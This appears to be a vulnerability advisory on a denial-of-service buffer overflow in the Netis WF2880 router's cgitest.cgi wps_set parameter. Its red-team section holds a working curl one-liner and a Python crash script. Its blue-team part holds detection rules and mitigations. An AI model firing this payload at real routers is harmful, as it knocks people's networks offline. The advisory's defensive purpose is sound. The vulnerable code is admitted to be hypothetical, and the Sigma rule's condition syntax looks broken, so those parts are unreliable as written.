CVE-2025-50617

Executive Summary

CVE-2025-50617 is a critical buffer overflow vulnerability discovered in the Netis WF2880 router, specifically in firmware version 2.1.40207. The flaw resides in the FUN_0046ed68 function within the cgitest.cgi binary. By controlling the wps_set parameter in an HTTP request, an unauthenticated attacker can trigger a stack-based buffer overflow, leading to a program crash and a Denial of Service (DoS) condition. No authentication is required, and the attack can be launched remotely over the network. The vendor has not released a patch, and no exploit code or detection templates are publicly available at this time. This vulnerability poses a significant risk to availability for affected devices, especially in IoT or small office/home office (SOHO) environments.

Supply Chain & Package Security

This vulnerability is not related to any software package registry (NPM, PyPI, Go, Ruby). It is a firmware-level issue in an embedded device (Netis WF2880 router). No supply chain implications apply.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, likely due to incomplete scoring. Based on the technical details, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The exploit affects only the vulnerable component.
• Confidentiality (C): None (N) – No data exfiltration.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – The crash causes a complete DoS.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Estimated Base Score: 7.5 (High)

Threat Level: High. The vulnerability is easy to exploit remotely without authentication, and the impact on availability is severe. However, the lack of public exploit code and the low EPSS score (0.0%) suggest limited active exploitation at this time.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the cgitest.cgi CGI binary. The FUN_0046ed68 function processes the wps_set parameter from an HTTP POST or GET request. The function copies the user-supplied value into a fixed-size stack buffer without proper bounds checking. By providing an overly long string for wps_set, an attacker can overwrite the return address and other stack data, causing a segmentation fault and crashing the cgitest.cgi process.

Key Technical Details:

• Affected Component: cgitest.cgi – a CGI script used for testing or diagnostics.
• Vulnerable Function: FUN_0046ed68 – likely a function that handles WPS (Wi-Fi Protected Setup) configuration.
• Attack Vector: HTTP request to the router's web interface (typically port 80 or 443).
• Trigger: Sending a long string in the wps_set parameter.
• Impact: The CGI process crashes, potentially causing the entire web server to become unresponsive, leading to a DoS condition. In some cases, the router may need a hard reboot to recover.

Root Cause: The use of a vulnerable function like strcpy() or sprintf() without length validation. The developer assumed the input would be within a safe range, but no sanitization was implemented.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the only reference. The following is a hypothetical representation of the vulnerable code based on the CVE description:

Vulnerable Code (cgitest.cgi - FUN_0046ed68):

void FUN_0046ed68(char *wps_set) {
    char buffer[64];
    strcpy(buffer, wps_set);  // No bounds checking
    // ... process buffer ...
}

Patched Code (Hypothetical):

void FUN_0046ed68(char *wps_set) {
    char buffer[64];
    if (strlen(wps_set) >= sizeof(buffer)) {
        // Log error and return
        return;
    }
    strncpy(buffer, wps_set, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    // ... process buffer ...
}

The patch would involve replacing strcpy with strncpy or using a safe function like snprintf, and adding input length validation.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A Netis WF2880 router with firmware version 2.1.40207.
• Network access to the router's web interface (default IP: 192.168.1.1).
• A tool like curl, netcat, or a custom Python script.

Exploit Steps:

1. Identify the target router's IP address.
2. Send a crafted HTTP request with an overly long wps_set parameter.

Proof-of-Concept (PoC) using curl:

curl -X POST "http://192.168.1.1/cgitest.cgi" \
  -d "wps_set=$(python3 -c 'print("A"*1000)')"

Python Exploit Script:

import requests

target = "http://192.168.1.1/cgitest.cgi"
payload = "A" * 1000  # Overflow buffer

try:
    r = requests.post(target, data={"wps_set": payload}, timeout=5)
    print(f"Response: {r.status_code}")
except requests.exceptions.ConnectionError:
    print("Target crashed - DoS successful")

Expected Outcome: The router's web interface becomes unresponsive. The device may need a power cycle to recover.

Blue Team (Defensive)

Detection:

• Monitor HTTP requests to /cgitest.cgi with abnormally long wps_set parameters.
• Use network intrusion detection systems (NIDS) to flag requests with payloads exceeding a threshold (e.g., > 256 bytes).

Mitigation:

• If possible, disable the cgitest.cgi endpoint or restrict access to it via firewall rules.
• Implement input validation and length checks on the router's web server (requires firmware update).
• Segment the router from critical network assets to limit the impact of a DoS.

Recovery:

• Power cycle the router to restore normal operation.
• Check for firmware updates from the vendor (though none are currently available).

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST/GET requests to /cgitest.cgi with a wps_set parameter longer than 256 bytes.
• Repeated connection timeouts to the router's web interface.
• Unusual traffic patterns from a single source IP to the router's port 80/443.

Host IOCs (on the router):

• Crash logs in the router's system log indicating a segmentation fault in cgitest.cgi.
• High CPU or memory usage immediately before the crash.
• The router becomes unresponsive to ping or web requests.

File IOCs:

• The cgitest.cgi binary (hash unknown, but can be extracted from firmware).

Detection Engineering

YARA Rule

rule CVE_2025_50617_Netis_WF2880_BOF {
    meta:
        description = "Detects buffer overflow attempts against Netis WF2880 cgitest.cgi"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-50617"
    strings:
        $http_method = "POST" ascii wide nocase
        $cgi_path = "/cgitest.cgi" ascii wide nocase
        $wps_param = "wps_set=" ascii wide nocase
        $long_payload = /wps_set=[A-Za-z0-9]{256,}/ ascii
    condition:
        all of ($http_method, $cgi_path, $wps_param) and $long_payload
}

Sigma Rule

title: CVE-2025-50617 Netis WF2880 Buffer Overflow Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with overly long wps_set parameter targeting cgitest.cgi
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-path: "/cgitest.cgi"
        cs-method: "POST"
        cs-uri-query|contains: "wps_set="
    condition: selection and |len(cs-uri-query) > 256
falsepositives:
    - Legitimate long WPS configuration strings (unlikely)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-50617 Netis WF2880 cgitest.cgi Buffer Overflow Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgitest.cgi"; http_uri;
    content:"wps_set="; http_client_body;
    pcre:"/wps_set=[A-Za-z0-9]{256,}/Ri";
    sid:1000001;
    rev:1;
    reference:cve,2025-50617;
    classtype:attempted-dos;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Remote Management: If not required, disable remote access to the router's web interface.
2. Firewall Rules: Block external access to port 80/443 on the router from the internet.
3. Monitor Logs: Enable logging and monitor for suspicious requests to /cgitest.cgi.

Long-Term Actions:

1. Firmware Update: Check the vendor's website for a patched firmware version. If unavailable, consider replacing the device.
2. Network Segmentation: Place the router in a separate VLAN to limit the blast radius of a DoS attack.
3. IDS/IPS Deployment: Deploy network intrusion detection/prevention systems with the provided Suricata rule.

Workaround:

• If the cgitest.cgi endpoint is not essential, block it via a reverse proxy or web application firewall (WAF) rule.

Vendor Contact:

• Attempt to contact Netis support to request a security patch. If unresponsive, consider reporting to CERT/CC.

Valters IT